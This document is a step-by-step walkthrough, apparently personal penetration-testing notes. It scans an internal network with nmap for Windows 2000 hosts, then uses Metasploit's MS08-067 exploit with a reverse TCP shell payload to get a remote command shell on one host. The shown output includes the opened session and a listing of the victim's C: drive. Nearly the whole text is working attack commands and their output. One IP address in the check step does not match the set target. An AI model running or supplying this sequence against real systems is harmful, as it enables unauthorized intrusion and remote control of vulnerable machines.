Some nmap investigations beforehand
We like to find the exact version of the operating system.
nmap -Pn --script smb-os-discovery.nse -pT:139,445 10.128.0.0/16 > 10.128.0.0-16.20150331.oss
Next we like to sum up the output.
cat 10.12[815].0.0-16.20150331.oss | grep "\(Nmap\ scan\ report\ for\ \|OS:\|Computer\ name:\)" | sed ':a;N;$!ba;s/\n|\ \ / /g' | grep OS | grep "OS: Windows 2000"
Nmap scan report for mos.dummy.de (10.120.2.121) OS: Windows 2000 (Windows 2000 LAN Manager) Computer name: mos
Nmap scan report for tima.dummy.de (10.120.10.20) OS: Windows 2000 (Windows 2000 LAN Manager) Computer name: tima
Nmap scan report for idswin.dummy.de (10.120.10.31) OS: Windows 2000 (Windows 2000 LAN Manager) Computer name: IDSWIN
Nmap scan report for edsospc.dummy.de (10.120.10.39) OS: Windows 2000 (Windows 2000 LAN Manager) Computer name: edsospc
Nmap scan report for eds2.dummy.de (10.120.10.43) OS: Windows 2000 (Windows 2000 LAN Manager) Computer name: eds2
Nmap scan report for mcu.dummy.de (10.120.10.46) OS: Windows 2000 (Windows 2000 LAN Manager) Computer name: mcu
Nmap scan report for 10.121.169.121 OS: Windows 2000 (Windows 2000 LAN Manager) Computer name: sv2002
Nmap scan report for lib01pc.dummy.de (10.128.74.20) OS: Windows 2000 (Windows 2000 LAN Manager) Computer name: dic
# msfconsole
[...]
msf >
Let's search an exploit
msf> search smb
long output
msf > info windows/smb/ms08_067_netap
Choose an exploit
msf > use windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) >
msf exploit(ms08_067_netapi) > show options
Module options (exploit/windows/smb/ms08_067_netapi):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOST yes The target address
RPORT 445 yes Set the SMB service port
SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC)
Exploit target:
Id Name
-- ----
0 Automatic Targeting
Set target
msf exploit(ms08_067_netapi) > set RHOST 10.128.74.20
RHOST => 10.128.74.20
Search for a payload
msf exploit(ms08_067_netapi) > show payloads
long output
Choose payload
msf exploit(ms08_067_netapi) > set payload windows/shell/reverse_tcp
payload => windows/shell/reverse_tcp
msf exploit(ms08_067_netapi) > show options
[...]
Payload options (windows/shell/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique (accepted: seh, thread, process, none)
LHOST yes The listen address
LPORT 4444 yes The listen port
[...]
Set payload options
msf exploit(ms08_067_netapi) > set LHOST 10.128.32.98
LHOST => 10.128.32.98
Check if it is vulerable
msf exploit(ms08_067_netapi) > check
[+] 10.128.73.21:445 - The target is vulnerable.
Run exploit
msf exploit(ms08_067_netapi) > run
[*] Started reverse handler on 10.128.32.98:4444
[*] Automatically detecting the target...
[*] Fingerprint: Windows 2000 - Service Pack 4 with MS05-010+ - lang:English
[*] Selected Target: Windows 2000 Universal
[*] Attempting to trigger the vulnerability...
[*] Encoded stage with x86/shikata_ga_nai
[*] Sending encoded stage (267 bytes) to 10.128.74.20
[*] Command shell session 1 opened (10.128.32.98:4444 -> 10.128.74.20:4301) at 2015-03-31 13:25:49 +0200
Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-2000 Microsoft Corp.
C:\WINNT\system32>cd c:\
cd c:\
C:\>dir
dir
Volume in drive C has no label.
Volume Serial Number is 14BB-15E2
Directory of C:\
05/07/2010 08:38a <DIR> adaptec
09/23/2010 12:24p 83 ADIC_PROGRESS.TXT
07/11/2006 11:59a 489 ARCSETUP.LOG
12/04/2014 10:41a <DIR> backup
07/11/2006 01:06p <DIR> CA_APPSW
05/05/2011 11:39a <DIR> Documents and Settings
12/04/2014 12:38p <DIR> HF-1_SDLC2.8
12/29/2003 09:52p <DIR> Inetpub
11/10/2004 09:05p 15,369 installer_debug.txt
09/28/2005 08:22p <DIR> Logs
07/11/2006 12:01p <DIR> NSM
03/30/2015 01:00p <DIR> ntbackup
06/28/2013 12:26p 279 nw_install.log
06/28/2013 12:27p 54 nw_install_status.log
08/23/2006 12:04p 155,303 ObjectServer.Trace
03/31/2015 01:30p 772,316 ObjectServer1.trace
10/09/2004 01:34a 6,522 odbcconf.log
12/29/2014 01:32p 1,165 oswrapper1.log
12/08/2014 10:35a <DIR> Program Files
05/22/2007 11:17a <DIR> rgrg
04/08/2014 03:21p <DIR> WINNT
12/30/2003 12:25a <DIR> WUTemp
9 File(s) 951,580 bytes
13 Dir(s) 25,875,365,888 bytes free
C:\>exit
exit
^C
Abort session 1? [y/N] y
[*] 10.128.74.20 - Command shell session 1 closed. Reason: User exit
